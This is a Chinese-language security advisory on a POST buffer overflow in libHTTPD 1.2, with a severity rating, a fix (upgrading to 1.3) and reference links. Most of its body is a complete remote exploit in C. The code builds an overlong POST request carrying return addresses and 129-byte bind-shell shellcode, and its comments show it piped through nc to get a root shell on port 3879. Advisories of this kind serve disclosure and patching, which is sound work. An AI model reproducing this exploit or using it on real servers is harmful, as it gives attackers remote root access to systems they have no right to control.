LibHTTPD POST缓冲区溢出漏洞发布时间:2002-11-25 更新时间:2002-11-25 严重程度:高 威胁程度:普通用户访问权限 错误类型:边界检查错误 利用方式:服务器模式 BUGTRAQ ID:6172 受影响系统 Hughes Technologies libHTTPD 1.2详细描述 LibHTTPD存在缓冲区溢出漏洞。通过传递过长的POST请求,可以造成缓冲区溢出,攻击者可以用该漏洞在内存中用自己的代码覆盖。 利用该漏洞,攻击者可以以超级用户权限执行命令。 测试代码 "you dong-hun"(Xpl017Elz), <szoahc@hotmail.com>.提供了下面的测试代码: /* ** ** Lib HTTPd Remote Buffer Overflow exploit ** by Xpl017Elz ** __ ** Testing exploit: ** ** bash$ (./0x82-Remote.libhttpdxpl;cat)|nc libhttphost 80 ** ** (Ctrl+c) ** punt! ** bash$ nc libhttphost 3879 ** uname ** Linux ** id ** uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon), ** 3(sys),4(adm),6(disk),10(wheel) ** exit ** bash$ ** ** -- ** exploit by "you dong-hun"(Xpl017Elz), <szoahc@hotmail.com>. ** My World: http://x82.i21c.net ** */ #include <stdio.h> int main(/* args? */) { int shadd2r; char b1ndsh[] = /* 129byte bindshellcode */ "\211\3451\322\262f\211\3201\311\211\313C\211]\370C\211]\364K\211M\374\215M" "\364\315\2001\311\211E\364Cf\211]\354f\307E\356\017'\211M\360\215E\354\211E" "\370\306E\374\020\211\320\215M\364\315\200\211\320CC\315\200\211\320C\315" "\200\211\3031\311\262?\211\320\315\200\211\320A\315\200\353\030^\211u" "\b1\300\210F\007\211E\f\260\013\211\363\215M\b\215U\f\315\200\350\343\377" "\377\377/bin/sh"; //--- POST &shellcode ---// fprintf(stdout,"POST "); for(shadd2r=0;shadd2r<0x408;shadd2r+=4) {/* rEDhAT Default: 0x804e482, Debian Address? */ fprintf(stdout,"\202\344\004\b"); } fprintf(stdout,"\r\n"); //--- NOP,shellcode ---// for(shadd2r=0;shadd2r<0x3e8;shadd2r++) {/* SSSSSSSS...SSSSSSSSS;;; */ fprintf(stdout,"S"); } fprintf(stdout,"%s\r\nx0x\r\nx82\r\nl0l\r\n",b1ndsh); } 解决方案 更新到最新版本: http://www.hughes.com.au/products/libhttpd/libhttpd-1.3.tar.gz 相关信息 相关连接: http://online.securityfocus.com/archive/1/301014 http://online.securityfocus.com/archive/1/299645 http://www.hughes.com.au/products/libhttpd/ |